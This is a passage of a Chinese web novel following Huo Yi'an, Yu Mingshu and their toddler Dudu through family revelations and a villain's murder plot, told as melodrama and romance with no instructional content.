郁明殊:“………” 再看霍懿安一脸理所当然,完全不觉得自己这么做是否对爹太狠,后续又该如何收场……只能将其归结为亲生独生子的升级版底气——不仅是唯一亲生的独生子,还大脑异常,敢想敢做。 事实也的确如此,在郁明殊问出“这么做的话,埃德蒙先生不会生气吗?”时,霍懿安一副“他生气能如何”的泰然神色,成功让郁明殊放弃了这些不必要的纠结。 与其操心霍懿安和埃德蒙的父子关系,不如趁机劝霍懿安帮他将股权拒掉,以这人我行我素、天老二他老大的程度,只要说通霍懿安,哪怕是霍云轻也没什么办法。 郁明殊:“……你也知道的,一切都是因为嘟嘟才会提前发现,这些股份我受之有愧,虽然霍女士说就当是给嘟嘟的让我先代持,但我已经查过了,这种情况可以直接登记在嘟嘟名下。” 霍懿安长眸微垂,盯着眼前快速开合的软唇,虽然听到声音了,却没太往脑中进,只因他脑中都被暴增的原始兽念挤满了,连个缝隙都没留下。 “……你可以帮我跟霍女士说一下吗?” “可以吗?” “霍懿安可以吗??”郁明殊提高声量再次询问。 霍懿安才恍若初醒:“……什么?” 郁明殊眉头微蹙:“去和阿姨说我不要股份,请她直接登记到嘟嘟名下。” 霍懿安虽不知其所以然,还是迅速给出否定答案:“不行。” 郁明殊闻言不仅眉头蹙起,嘴角也绷了起来:“为什么?你明明知道这份功劳完全属于嘟嘟的,是嘟嘟没认出……” “当然不是,”霍懿安有些费力地将注意力从郁明殊的唇转移到郁明殊的话上,回答起来更加直接干脆,“是因为看到你担忧难过,我才会以嘟嘟可能来自未来为借口让你和父亲一起体检的,主要就是为了让你做一套全面细致的检查,没有这个理由,你不会听话配合。” 郁明殊虽然习惯了霍懿安的人机属性,但偶尔还是会受到冲击,就比如当下直面霍懿安完全不拐一点弯的说话方式。 眉头散开,桃花眼微微睁大,就连紧绷的唇角都因局促抿起,脑子转了又转才有些磕绊否认:“我、没有……” “你有。”霍懿安不自觉俯身凑得更近了些,“自从知道嘟嘟和你之间存在亲子关系后,你一直在排斥我。” 闻着郁明殊身上怎么都闻不够的甜香,霍懿安自然会有所反应,但只要两人下|半|身不发生重叠,他还不至于将刀甩到郁明殊能发现的程度。 郁明殊再次被男人逼退到紧贴门板,退无可退只能偏开头,他强行将话题转移回去:“总之,我不要那些股份,你去跟霍女士说。” “你,是在对我撒娇吗?”霍懿安说完自己都愣了。 这绝对不是他能说出的话,但会突然蹦出这样的话也不是毫无根据。 毕竟他时刻忍着亲人冲动,无知觉间脑回路里就挤满了粉红色气泡……说出什么不正常的话,做出什么不正常的事,都很正常。 郁明殊脸腾的红了:“我没有!” 霍懿安被他激动燥热的香气喷了一脸,差点脑子一热就做出他最不耻的下流行径,好在他时刻紧记郁明殊之前就厌恶这些原始冲动,现在肯定更加排斥。 也许是出于真挚的求偶欲,霍懿安先用理性压制本能,再认真求教:“我向你隐瞒和嘟嘟的亲子关系,就让你那么难过?为什么?” 他至今还觉得那是再正确不过的决定,就像他现在依旧要对外隐瞒嘟嘟亲生崽的身份。 郁明殊鼻子一酸,但他很快深吸气调整了一下:“没有,我知道你有你的考量,不告诉我是最稳妥的。” 一切不过是因为他太小气,发现自己是不被信任的,就也不想再信任对方了。 郁明殊自觉遮掩得很好,霍懿安又一向不懂察言观色,除了最初被误解针对的时期,后来都是他说什么,霍懿安就信什么的。 虽然那时候他也没骗过霍懿安,但现在也不算骗,理智上他当然能理解霍懿安权衡利弊做出最优选择,就像现在霍懿安也没告诉他的父母。 但很奇怪,他即便理解却还是会因自己不被信任而难过,郁明殊自己也说不清原因,明明放到其他人身上他都可以…… 霍懿安却拧着眉头,深邃眸光紧凝在他脸上,随着面颊之间的距离不断拉进,他几乎要盯成斗鸡眼了。 不过在那之前,霍懿安已经得出准确结论—— “你说谎。” “你在难过。” “为什么?” 告诉他,当时他意外感知到的那份,让他湿冷僵麻几乎窒息的复杂情感到底是什么?为什么说谎,为什么一直躲着他? 郁明殊被问得始料未及,而更令他始料未及的是身后门板突然被推开。 霍懿安前一秒还在感受陌生而沉闷的心痛,嘴巴触不及防贴上了郁明殊香软醉人的唇角,瞬间瞳孔震颤,心不仅不闷不痛了,几乎要兴奋得跳出胸腔。 始作俑崽很快发声:“咦?几么推不开鸭?拔拔拔拔,里在哪捏?宝醒啦!~” 听到嗲甜至极的小奶音,霍懿安混乱至极的大脑还能抽空感叹一句:难怪他父母那么坚持要给他找继承人……有崽是真好啊! 作者有话要说: 当事崽表示:不——!!!(bgm:《一剪梅》) 第72章 从前都是内开门,突然换成外推门实在让人始料未及。 郁明殊一听到崽子的呼唤,瞬间顾不上脸红心跳了,伸手推向霍懿安的肩头,试图将人一把推开。 事实证明,霍懿安就是个活体石狮子,只要不是对方主观上想放人,郁明殊这薄脆小身板是很难将眼前190+的高大壮男推开的。 霍懿安这边,还沉醉在一触即分的唇角吻中。 而郁明殊虽然及时转开头,但霍懿安仍旧紧黏着他,唇角吻了一瞬便错开,但薄唇紧随其后贴上了柔嫩却滚烫的耳后肌肤。 亏的是两人挤得太紧,崽子只能推开一小道缝隙,就算再急着找爸爸也没法挤出小脑袋查看情况。 霍懿安锐利如刀的眸光罕见得有些涣散,有些事完全是无师自通的,作为一个从不沾染半点低级趣味的多洁净强迫症患者,他却遵从内心深处的原始冲动下意识便轻轻咬住细细舔|吮。 一阵强烈的酥麻感同时击向两人,不同于脸更红心跳得更快郁明殊满眼的错愕赧然,霍懿安则被猝不及防的细碎电流感电清醒了。 这是什么神仙肉?也太让人欲罢不能! 只是轻吮了一下,霍懿安都觉得自己对快乐刺激的感知阈值都被瞬间抬升了。 理智告诉他尝过这种滋味后他很难再回头了,越发蓬勃的二心却开始惋惜,这么好的体验他为什么早没发现? 在唇被郁明殊伸手挡住后,霍懿安亲不到了,高大的身体下意识就要将郁明殊包裹住,想将全身都尽可能紧密贴合。 好在霍懿安并未色令智昏,主要也是没给他机会。孝顺崽子继推门助爹后,发现无论如何都推不开门无法找爸,爱爸崽嘟嘟嗷的一嗓子就嚎了起来:“拔拔哇呜呜——!” 郁明殊这下是真急了,一边应声安抚一边戳向男人神经分布更为密集的腰侧,也就是精准命中痒痒肉。 霍懿安不仅现在活得像个人机,小时候是比现在更为机器人的存在,哪怕是霍云轻和埃德蒙也很少和儿子有如此顽皮的互动。 长大后虽然社会化程度显著提升,但更不可能有人对他做这种事了。 第一次遭遇如此陌生又强烈的痒感,霍懿安瞬间像个巨型蚂蚱般弹开。 别说霍懿安了,郁明殊都有些始料未及。 崽听到爸爸的声音就立马从高声呼嚎转为奶声呜咽,刚问出“拔拔在哪捏?”,亲爹就突然跳入视野。 崽子的小脸瞬间垮掉:“不系介个!宝要拔拔!!!” 郁明殊立即转身将门完全打开,一把抱起宝贝崽子:“爸爸来了,嘟嘟不哭了喔~” 崽差点以为之前他是错把爹声听成爸,一见爸爸真在,立即破涕为笑:“拔拔~宝醒啦~~” 崽子一笑,郁明殊就不自觉露出同款甜笑,他先帮嘟嘟把脸上的泪痕擦干净,爸崽二人笑着贴贴蹭蹭了一番。 郁明殊原本想问嘟嘟怎么这么快就醒了,是不是没睡好?结果看了眼时间才发现距离霍懿安找上自己,已经过了半个多小时。 思绪稍转,软白面颊上消下去的热度再度攀升,尤其是当霍懿安再度靠近时,不过怀中有崽,他倒是不必担忧男人会再做什么。 有爸万事足的崽,虽然把爸爸排在第一位,没爸的时候见到霍懿安也会一键退订,但有爸的时候,他还是很享受一家三口相处的时光的。 这会儿将粉白软糯的肉脸蛋靠在郁明殊锁骨位置,看向亲爹时小脸上也有了甜蜜蜜的笑模样,与之前哭嚎着大喊“不系介个”时候判若两崽:“爹地~” 霍懿安此刻的心绪太过复杂,有初次被挠痒痒肉的震惊,也有初尝神仙肉的震撼,更有对自身强烈到疼痛的原始冲动的不齿。 但在看到亲昵贴贴的爸崽带着同款甜笑望向自己时,霍懿安只觉得前一刻还躁动不已的心脏,瞬间成了被温泉水漫过的河床,只剩下平静柔软。 尤其是意识到眼前爸崽与他有着密不可分的血缘联系,这种与患得患失同时生出的安心感,让霍懿安第一次被陌生情绪冲刷到了一个全新领域。 这一刻他突然能够一定程度上感知、理解,为什么隐瞒爸崽关系会让郁明殊产生如此强烈的情绪反扑。 因为太爱也太珍惜了。 由爱故生忧,由爱故生怖。 并不是领养不如亲生,而是相较于亲生,领养有着太多的不确定性,而爸崽之间明明可以无需为此忧虑。 从前他的那些判断,从理性角度考虑没有错,但绝大部分人类都是感性生物就连他在这一刻都能感同身受,更别说郁明殊此前因亲情友情上的多次背叛,本就处于情感悬崖的边缘…… 在涉及感情相关的问题上,哪怕是他也该多些感性考量。 霍懿安径直走上前去,将爸崽紧紧拥住,削薄的唇再次贴上软白的耳垂,不等它变粉变红,男人低沉喑哑的声音又轻又重地响起:“对不起,我不该隐瞒。” 郁明殊脸上略显僵硬的赧笑倏然褪去,秀致的眉头微抬,垂落的眼尾很快被委屈的泪意濡湿。 从五岁拍摄牛奶广告走红开始,他经历过亲戚小孩间的直白排挤,也经历过同学间的嫉妒和霸凌,还有许多记不清的恶意窥视、露骨质问…… 连父母都不庇佑爱护的孩子,注定会经历更多风雨,郁明殊一直觉得自己像是被定在某个石柱上的受刑者,一切恶意则是掷向他的惩罚。 被亲戚小孩不经意推一把就是砸向他的小石子,被豪门少爷千金小姐在宴会上嘲笑质问他是不是雏鸭,则是丢向他的臭鸡蛋,养父母的一次次伤害则像是沾了浓盐水的铁鞭,薛景灿的重击则是掷向他的巨石。 嘟嘟是第一个对他抬起手,不是要伤害他而是拥抱他的存在,霍懿安则是将他解救下来,为他送水送食提供治疗,让他感激到五体投地恨不得将人供奉起来的神明,而这个人却也向他抬起手投掷。 虽然只丢出了一个小小的沙包,比起从前种种伤害,这份疼痛不值一提。 但郁明殊早就被吓怕了,甚至看到人抬手就会幻痛,一个沙包足以将他彻底打跑,可这人却又不顾一切地追上他,成为第一个真心认错的人。 霍懿安的拥抱道歉,更像是不知所措地澄清,他只是想找他玩,但用错了方法,错误地以己度人认为他也会喜欢丢沙包,却没考虑到他真正的情感需求。 郁明殊同样被陌生情绪裹挟而不知所措,从没有人在乎过的委屈随着泪意一股脑宣泄而出。 没人关心时,痛也是不痛,有人在乎时,他甚至生出了过度到近乎无理的委屈,反过来想要责怪霍懿安为什么出现的这么晚? 为什么不是第一个站到他面前,向他投出沙包,那他一定不会痛,只会觉得新奇有趣,如果霍懿安早早将他救出…… 郁明殊虽然因情绪缺口被突然满足,而产生了本能般的应激反应,但他还是很快冷静下来,及时遏制住了心中贪念。 毕竟他一直是一个为人着想的乖小孩,这是他从有记忆起便被根植入内心的行为烙印,这份烙印早已融入他的骨血,成为江山易改本性难移中的人生底色。 不过脑子是冷静下来了,但身体还处于非理智的应激状态,持续外溢的眼泪擦都擦不尽。 原本挤在俩爹之间享受家庭温暖的夹心崽子,只负责监督守护爸爸的嘴嘴,没曾想,爸爸却突然哭了! 压根没听清俩爹之间低声絮语的崽子,一下就懵了,但不知所措之余,小脑花还在光速电转。 崽子的毛绒小脑壳在俩爹之间转来转去,就这么一路火花带闪电的疾速思考——全场除了受害者就剩父崽二人,再排除他这个乖宝……真相只有一个! “啪”的一声,崽子的无情铁掌一巴掌糊上了亲爹的面中,犹如包青天摔下惊堂木。 “嘟青天”同时给出掷地有声的判词:“欺负拔拔,坏银!!!” 虽然受限于怀抱,崽子无法像痛击薛景灿那般腰马合一使出全力,但小巴掌让力量都集中落在了霍懿安的鼻子上,直接将他的生理反射砸了出来,鼻子一酸泪流不止。 郁明殊瞬间顾不得其他:“嘟嘟!!” 霍懿安听出郁明殊声音中既忧又怒,以为是在担心他,刚想大气表现一下,结果郁明殊一把攥上崽子的右手,确认崽子这次出的是左手后,紧绷的神色倏然放松。 崽子骄傲扬起小下巴:“嘟嘟乖乖,拔拔说不阔以,嘟嘟就不用哒~” 郁明殊不仅满意点头,还笑着亲了亲崽子凑过来讨奖励的小胖脸。 霍懿安:“…………” 直到霍懿安磨着后槽牙轻咳了一声,爸崽二人才齐齐将目光转了过来,这才发现霍懿安不仅面中顶着个通红的小巴掌印,还不知何时飙泪了,眼周潮润一片。 但因着情绪上完全不契合,不像是哭了,倒像是洗脸忘记擦了。 一分可怜,九十九分好笑,郁明殊抿了抿唇:“你……” 话刚开个头,就被霍懿安的手机铃声打断。 “嘟嘟醒了吗?你爸爸手术前想抱抱孩子。”霍云轻说得很委婉,实际上就是催一家三口过去一起陪着手术。 虽然因发现及时,手术预后很好,但一切都是建立在手术成功的前提下。 埃德蒙第一次进行如此性命攸关的开腹手术,霍云轻希望全家人都能一起在手术室外陪伴。 霍懿安却罕见听懂了母亲的言外之意,挂断电话后他突然问向郁明殊:“我们要不要把嘟嘟的身世告诉我父母?” 作者有话要说: 宝宝们!元旦快乐!2026天天快乐![亲亲][亲亲][亲亲] 第73章 霍懿安此前没有说,依旧是出于许多理性考量。 比如当时他会考虑父母知晓崽子身世后,会强人所难,尤其是母亲会想方设法让他和爸崽永久绑定,这是从前的霍懿安完全无法忍受的。 而且即便父母值得信任,但秘密就是这样,知道的人越多,出现失误和意外的概率越高,也就越难以守住。 起码在嘟嘟长大成人前,或者霍懿安确认再也无需顾虑家族隐忧之前,他都希望嘟嘟保持最安全的养子身份。 但现在的情况和霍懿安最初拿到鉴定结果时大不相同,想要跟爸崽永久绑定的成了他,而且现在的他也想学着多些感性方面的考量。 就像霍懿安不觉得他带着爸崽跟母亲一起等在手术室外能够增加手术成功率,但他的父母很需要他们这样做,他的父母本就是感情异常充沛的类型。 也许嘟嘟的身世对他父母来说,同样是远超他想象的重要,并不是那些可能存在的风险能够等价替换的。 而且退一步来说,即便手术成功率很高,也不会是100%,如有万一,他的父亲也许永远无法知道嘟嘟其实是他血脉相连的孩子,因种种不可言说的神奇际遇跨越时空来到他们身边…… 霍懿安不久前因爸崽突然顿悟开窍,所以他在问出口前就已经倾向于告诉父母,但过人的智力天赋让他第一时间融会贯通并举一反三。 他完全可以直接告诉父母,理论上讲他的父母作为崽子的直系亲属,有权知道崽子的身世真相,且一旦父母知晓真相,从前他烦扰的枷锁就会自然扣到郁明殊身上,现在的他理应乐见其成。 但霍懿安的二心总是会给出更为强硬的指引——他必须尊重郁明殊的意见。 他不能从一个误区走向另一个误区,能留下真心的永远都是真心。 所以霍懿安不仅努力用更感性更全面的视角进行判断,询问郁明殊的意见,还把自己此前选择隐瞒的考量和盘托出。 “……如果你担心我母亲会长期纠缠,我们可以继续保密。” 郁明殊却果断答道:“当然要说!” “我相信叔叔阿姨一定会尽其所能保守秘密,至于其他……都不重要,先不要考虑,直接告诉他们吧。” 霍懿安听完心绪更加复杂,明明这一切对他来说都是无可无不可的事情,他只是尽可能多增添一些感性。 但在郁明殊给出斩钉截铁的回应后,他的心却仿若再次被温柔地放进了温泉水中,一向冰冷淡漠的眼神也被心底氤氲出的温热水汽软化了些许。 霍懿安全然忽略掉两人之间兴奋得有点吵闹的崽子,他凝望着郁明殊,低沉的声线中多了一抹难得的柔和意味:“谢谢你,愿意告诉他们。” “这有什么好谢的……”郁明殊偏开脸,越发觉得眼前男人实在过于目光如炬,烤得他面颊发热。 * 一家三口很快来到埃德蒙的病房,霍懿安已经以有要事要宣布将埃德蒙手术暂时延后,并要求医务人员给霍云轻也安上一套心电监护仪。 霍云轻一开始只觉得好笑,毕竟一家三口的表情看起来并不是要宣布离婚这种坏消息,而霍懿安又如此郑重其事,她能想到的只有儿子追人成功,要宣布正式结婚一类的喜讯。 虽然的确让她深感不可思议,还是觉得霍懿安让她佩戴心电监测仪的要求太过夸张。 但她对儿子还是很了解的,除了天生高智,和靠着智力优势后天培养出的商业头脑,其他方面都令人相当头疼。 亲情能勉强接受和配合模拟,友情方面无论如何培养,都会被他以浪费时间精力为由早早铲除。 霍云轻唯一庆幸的是她对美人的极致欣赏,也就是好色之心成功遗传了下去。让霍懿安看到郁明殊就再也走不动路,甚至还能让霍懿安捡到一个既像他又像郁明殊的漂亮崽子。 霍云轻不仅含着金汤匙出生,一出生就是全家上下的宠儿,生活顺遂婚姻美满,这辈子从没羡慕过谁,但对上莫名其妙就结婚有崽的霍懿安,她偶尔也有点羡慕这小子的好运气。 霍懿安的特殊神经发育,注定他的爱情无法被世俗定义,但有就比没有强,霍云轻拼了老命也要帮儿子守住这难得萌发出的爱情幼芽。 没曾想—— “什么??????” 霍云轻的心率骤升,血压飙高,等看到两份亲子鉴定报告时都不会呼吸了。 埃德蒙的情况比她好点也不多,一口气用七国语言感叹了十几遍“这太神奇了”。 这对极为了解儿子的夫妻俩,完全不需要霍懿安解释嘟嘟并非他和郁明殊亲自造出的小人儿,夫妻俩直接跳过这种可能。 埃德蒙还在眼泪汪汪对着崽子用七国语言感叹“嘟嘟竟然是我的亲孙子……嘟嘟!!”霍云轻最先反应过来:“……所以嘟嘟是从未来穿来的?” 霍懿安给出否定答案:“体检结果表明他不具备生育能力,所以我们都怀疑……” 没等说完,霍云轻就一拍巴掌:“嘟嘟没准是你生的啊!” 霍懿安用看疯子的眼神看向亲妈,冷静提醒:“我的情况,你还不清楚?” 霍懿安的脑神经异常,是在很小的时候做无数检查一步步排查确认的。 两套生殖系统会对身体造成明确危害,首先就是激素直接或间接被影响紊乱,生殖系统的病变和感染概率也会显著提升。 以埃德蒙和霍云轻对独子的重视程度,但凡他体内多长了个子宫,二十年前就会被发现并摘除。 霍云轻有点惋惜地摇摇头:“好吧……” 因为丈夫过分高大,霍懿安在她肚子里时就是个巨型胎儿,因此她一直觉得最适合生产的是夫妻中身材更为高大的一方。 从嘟嘟两岁半就堪比三四岁的壮崽来看,霍云轻不用想也知道宝贝小孙孙刚出生时也会是个巨婴,对比小山一样的儿子,和纸片一样的郁明殊,肯定是前者更适合生嘟嘟啊! “不是未来也好,这孩子生产时的个头……肯定跟你一样难生……” 霍懿安无语了片刻,还是很快略过母亲的打岔直奔主题——先让郁明殊捂住嘟嘟的耳朵,霍懿安把薛景灿身上的疑点一并说清,趁父亲被消息砸晕先将家主权限拿到手里。 埃德蒙虽然惊喜到“乱码”,一直用七国语言颠来倒去说些乱七八糟的感叹,但一提大事他还是马上清醒过来了。 不过倒是没像从前那般一口拒绝,只说他需要时间,在绝对冷静的状态下仔细考虑一番。 霍懿安感性不下去了,冷眼一瞪:“这还有什么好考虑的!” 郁明殊原本站在一旁,低头笑着安抚怀里被捂耳朵的懵逼崽子,听霍懿安突然发飙,吓了一跳。 他立即用手肘碰了碰对方,开口打岔顺势提出自己的观点:“说起来之前嘟嘟因为叔叔状态不佳不够年轻没认出来,也许嘟嘟没认出薛……可能也是这个原因。” 不同于埃德蒙太老,薛景灿则是太年轻,但即便是十年差距,二十出头的薛景灿和三十出头的薛景灿,形象上会相差到令崽完全看不出来的程度? 郁明殊只能想到,要么是平行世界的年龄差距不同,比如薛景灿与他并非同年,而是要大上许多;要么就是薛景灿在某一段时间内外貌突变,整容和毁容,显然是后者的可能性更大。 他们能做出的猜测十分有限,具体还要看劳伦斯那边能否在不伤害嘟嘟的前提下获取更多有效信息。 但即便不进一步治疗引导,也能想见薛景灿一定曾给嘟嘟带来了巨大伤害,嘟嘟才会听到名字就产生如此强烈的排斥反应。 郁明殊声音柔和动听,娓娓道来也更容易让人听进去,而且始终围绕着埃德蒙最在意担忧的崽子,完全不是霍懿安那种入室抢劫般“讲道理”可以比拟的。 埃德蒙明显被说动了,他其实很清楚不论从哪方面入手,最稳妥准确的方式,还是需要由他们亲自深入调查,才能提前根除一切隐患,但有些事情一旦沾手…… 霍懿安冷脸伸手:“你也不想你这辈子唯一的亲孙子出事吧?” 埃德蒙:“………” * 经过薛氏精英律师团的不懈努力,薛景灿还是在看守所顶格蹲了十天。 不仅是受伤保镖绝对不肯和解的缘故。 这件事准确来说他也很冤,明明是对面的小崽子先动的手,就因为那小子两岁半还不算个人,法律上认为小崽子出手多为无意识的,就将暴力发起方定为他这个成年人,过错完全在他身上……薛景灿已经很久没吃过这种瘪了。 而且不同于薛景灿的律师团是他空降后重新组建的,郁明殊保镖请来的却是霍家合作多年的金牌律师,要知道律师、医生这两种职业都非常受区域限制,尤其资深律师积累了相当多的本地资源。 他倒是没有怀疑郁明殊的保镖如何请的动霍家的律师,毕竟欧洋搭上霍家的消息并不是什么秘密。 是以哪怕薛景灿请的个个都是履历过人的海归精英,但实际操作中,一个律师团也抵不过对面一个金牌律师,气得他差点想将爷爷留下的老家伙放出来。 薛景灿想想还是算了,当务之急是先将郁明殊除掉。 但他再急,也没办法在看守所向外传递自己打算杀人的消息,只能一忍再忍,被放出来这天,薛景灿做的第一件事就是雇凶杀人。 结果对面却告诉他,郁明殊目前根本不在A市。 第74章 准确来说,医院闹出事的当天,郁明殊就带着小崽子销声匿迹了。 当时薛景灿直接被带进警局,被动与外界切断了一切联系,也错过了最关键的时刻。 现在十天过去了,很多东西就算动用非法手段也不好查了。 目前只能确认一点,郁明殊和小崽子都不在A市,至于去了哪里?什么时候回来?薛景灿一概不知。 要不是确认薛德茂死时,他将一切都处理得极为缜密妥当,薛景灿都要认为是哪里走漏了风声,亦或是郁明殊提前察觉了什么端倪,已经知道自己成了他必然会立即处理掉的目标,所以带着小崽子躲起来了。 薛景灿反复思量排查了一圈,还是觉得郁明殊除非有通神之能未卜先知,不然不可能想到,也不可能查到他其实也是薛家血脉的事实。 别说一出生就被丢掉对自己身世一无所知的郁明殊了,就连他这个恰好长期监视薛德茂和郁明殊动向的人,最初意外撞破血缘真相时都无法相信。 薛景灿从小在薛德茂身边长大,哪怕薛德茂为了颜面和威严,会在孙子面前遮掩一二,但朝夕相处总是会露出许多端倪,薛景灿早就清楚自己爷爷私生活如何混乱。 看多了也很容易发现,爷爷的男宠都有着一定的相似性,更准确来说他们都像着同一张脸。 薛景灿也曾好奇过,一查才知道爷爷年轻时竟爱上过一个男戏子,但为了联姻早早便将那人抛弃了。 等薛德茂结婚生子顺利接掌继承权再想找回戏子时,却被告知戏子与他分开不到一年就已经撒手人寰。 薛景灿以为这就是薛德茂念念不忘的全部原因,也是近期才意外得知男戏子死前还给他生下了一个儿子。 而薛德茂那老东西,不仅一直在找同类型美人当替身,几十年都没放弃戏子用命给他生下的亲骨肉。 结果还真让他找到了,甚至就是在薛德茂进行第六次换肾手术前,忽然有了突破性进展。 不仅让他找到了早逝的儿子,还得知这个儿子同样也是以男子之身产子并因难产离世。 薛德茂意外发现早逝的儿子长得几乎和郁明殊一模一样,甚至和儿子难产生下的那个孩子年龄,以及生产地点都对得上。 无数机缘巧合叠加之下,让薛德茂确认了一直被他觊觎玩弄的郁明殊,其实是他真爱之子留下的唯一后代……也就是他的亲孙子。 而薛景灿早早做好了准备,用了几年的时间逐渐渗透了薛德茂身边不少人。 当然,并非薛景灿年纪轻轻便手段了得,十几岁的小狐狸再是狡猾,在老狐狸面前也是青涩的,完全是薛德茂对亲手养大的唯一孙子的偏疼和默许。 只不过薛德茂也没想到自己身体衰败的速度,比他预计中快了太多,更没想到他在世上竟然还有第二个亲孙子。 即便薛德茂几十年来翻手云覆手雨积威甚重,但也抵不过他风烛残年时日无多的现实。 一开始只是配合他培养孙子的手下人,也逐渐生出了异心,薛景灿才会在第一时间得知郁明殊的身世真相,以及薛德茂已经暗中修改遗嘱。 也许是出于对真爱的怀念,也许是出于对郁明殊的补偿,薛德茂甚至想将薛家最干净的产业都留给郁明殊。 好在他出手及时。 不过虽说人死如灯灭,一切障碍都该烟消云散,可知情人不止老东西一个,剩下的即便都被他控制住了,但万全之策永远都是斩草除根。 更不要说郁明殊现在不再是当初那个任由他搓圆捏扁的可怜虫,身边不仅有了碍事的蠢货,还拥有了一定的关注度,哪怕他想将人多留一阵也不能了。 只有唯一有资格跟他争夺遗产的郁明殊死了,他才能彻底安心,若非如此,他还真舍不得将惦记多年的人就这样杀掉…… 思及此,薛景灿脑海中再次浮现起十天前见到的郁明殊。 比起毫无生气的照片,还是本人更鲜活也更漂亮,尤其当对方流露出惊恐神色时的模样更是世间极品。 郁明殊完美符合他的全部取向,无论在哪一个角度,都是最完美最极品的存在。 虽然薛德茂常说他最像他,但薛景灿其实内心并不认可。 然而到了需要为前途狠心抉择之际,他也的确像薛德茂一般,没有丝毫犹豫就放弃了心中的执念。 不过他比薛德茂幸运太多,在斩断执念之前就找到了最佳替代品。 薛景灿拿起桌上的高清照片,对着照片上金发碧眼且五官酷似郁明殊的漂亮崽子,露出了十天以来的第一个笑容。 虽然他当时没能将口罩帽子全都扯掉,但ai眼镜还是帮他精准捕捉了小东西口罩移位的瞬间。 这才让他发现,这个金发碧眼的小东西仔细看起来,除了发色瞳色,五官竟然和郁明殊小时候一模一样。 要不是这些年他一直派人暗中盯着郁明殊,清楚对方不可能有机会秘密生子,薛景灿都要怀疑这小东西是郁明殊亲自生下的了。 毕竟他也没法确定,那份见鬼的男性生子能力是否是百分百遗传的。 薛景灿已经让人多方对比排查过了,小东西的确不是什么豪门富家崽,起码不在他需要顾忌的范畴。 是以他已经先将未来预设好了,除去郁明殊保住全部遗产,然后再将小东西抢到手里慢慢玩…… * “阿嚏!” “阿嚏阿嚏!” “阿嚏阿嚏阿嚏!” 西奥多突然打了一连串的喷嚏。 霍懿安原本将崽子抱在怀里,见这小子突然变身小喷壶,他立即伸长双臂,避免被崽喷到口水尽可能将他举远。 又因右侧站着郁明殊,霍懿安下意识也想保护郁明殊不被口水污染,所以动作幅度相当之大,差点就将崽一下举出了窗外。 虽然理智让他及时稳住了动作,但嫌弃之意已经足够明显,更别说西奥多本就敏锐聪明,再对比一旁满心担忧唯恐崽感冒的郁明殊,那就更是一个天上一个地下了。 西奥多暂压刀子眼,等收住喷嚏被亲爹接回怀抱,他立即扭身攥上了霍懿安脑袋两侧的把手——耳朵。 白嫩小手一薅一个准,一个刹那,一双小手已经攥稳,紧接着便是排山倒海般的假喷嚏。 “噗!噗!!噗!!!” 崽子喷完立即一脸柔弱往旁边宝贝爸爸的怀里倒,一边奶声奶气哼唧:“爹地脏脏,宝~补~要~” 骤雨突至,防不胜防避无可避,几乎要被喷应激的霍懿安:“……………” 崽子后面的喷嚏虽然有点假,但前面那一长串都是真的,郁明殊接过崽子就开始认真询问,崽有没有其他不适症状。 崽又余光眯了一眼脸黑到发光的亲爹,吸了吸小鼻子又假咳了两声:“有…点点晕晕嘟……” 虚弱的小奶音一出,郁明殊就更顾不上遭受重创的霍懿安了。 但霍懿安可不是能轻易被糊弄过去的人,尤其是针对这只花样百出时好时坏的小臭崽,然而他一个“西”字还没说完,就被突然冲出来的老父亲打断—— “怎么了怎么了?!!” 埃德蒙的手术很成功,但到底也是上了年纪,恢复能力远不如从前,加上原本压在身上的工作一半给了助手,一半给了儿子,术后一周又移回庄园里的医院,打算多住些时日好好休养一番。 现在埃德蒙每天最重要的事情,就是中午等着宝贝小孙孙一起吃饭。 虽然他更想24h跟宝贝小孙孙待在一块,但这崽离不开爸爸,晚上不能换人陪睡,白天还要配合劳伦斯的浅层疗法,基本上一疗就是一整天,晚上孩子累了,就只想跟爸爸贴贴,拒绝对外营业。 即便如此,埃德蒙也十分满足了。 毕竟霍懿安是他亲手带大的,哪怕过去二十多年,儿子三岁前的黑暗记忆仍旧历历在目,上帝能让他拥有如此漂亮软萌的小宝贝,他甚至还被小宝贝救了一命,他哪里敢要求更多呢? 时间临近中午,他就让人早早将房门打开,为的就是第一时间能听到爸崽到来的动静。 “我怎么听到嘟嘟打喷嚏了???”埃德蒙外袍都来不及穿,就直接冲了出来,不仅看都没看儿子一眼,还直接将人挤开,站到了郁明殊的左手边。 霍云轻慢了一步,但也仅是慢了一步而已,她也紧随其后跟了出来,丝滑站到了郁明殊空着的右手边,一脸心疼地夹着嗓子问道:“我们嘟嘟宝贝是感冒了吗?” 崽的注意力全程都集中在一路吃瘪的亲爹身上,心里暗爽不已,他还没想好自己到底要不要感冒,就一脸呆萌地眨巴着湛蓝的大眼睛,吸了吸小鼻子,可可爱爱回应道:“不~几~道~耶~” 郁明殊则在认真回忆,到底是哪个环节让崽意外感冒?虽然一时想不到,但他还是很快提醒道:“嘟嘟要是感冒了,还是和叔叔隔离一下吧。” 埃德蒙原本还打算缓抱慢抱有秩序地抱,听完吓得一下就将崽子抢抱进怀里,生怕下一秒周围人就要以“为他好”为由夺取他珍贵的抱崽时间。 “不用!”埃德蒙夺过崽子声线一秒变夹,“我们嘟嘟就算感冒了也不会传染人的~是不是呀?~爷~爷~的~嘟~嘟~小~宝~贝~” 霍懿安原本只是被崽子口水脏到了有点恶心,听完亲爹鬼上身一般的夹子音,隔夜饭都要返上来了。 他刚表现出有点反胃,埃德蒙立即抱着崽后退一大步,仿佛脸色难看隐隐作呕的儿子是什么脏东西一样。 埃德蒙甚至颠倒黑白质问儿子:“是不是你把嘟嘟传染了?!” 作者有话要说: 懿安爸爸和懿安妈妈已经升级为嘟嘟爷爷和嘟嘟奶奶辣!也是让咱们霍总感受到原生家庭迟来的痛[抱拳][抱拳][抱拳] 提前更一下[抱拳] 第75章 虽然霍懿安一直无法很好理解,自己这对过于感情充沛的父母,但不理解归不理解,他还是有基本认知的,清楚父母一直以他为重。 不过即便父母多年精心抚育引导,他在感情方面总是有所欠缺,知道好与坏,却无法给出准确回应,所以也乐见父母将这份在他看来有些狂热的亲情转移到崽身上。 但!这是不是有点太过分了?! 亲爹胡乱指控还不算,一旁的亲妈还在帮腔:“也不是没可能,最近外面的流感已经开始了,嘟嘟原本一点问题都没有,霍懿安一回来就……” “我??”霍懿安因过于无语,冰块脸上都出现了裂纹。 埃德蒙一听妻子这么一说,一想也确实到了流感开始的季节,指控儿子也变得更有底气:“对,就是你,从疫区回来为什么不自我隔离?” 看亲爹吃瘪太快乐了,黑心小崽适时吸了吸小鼻子,装出浓重鼻音:“不怪爹地…咳咳…!” 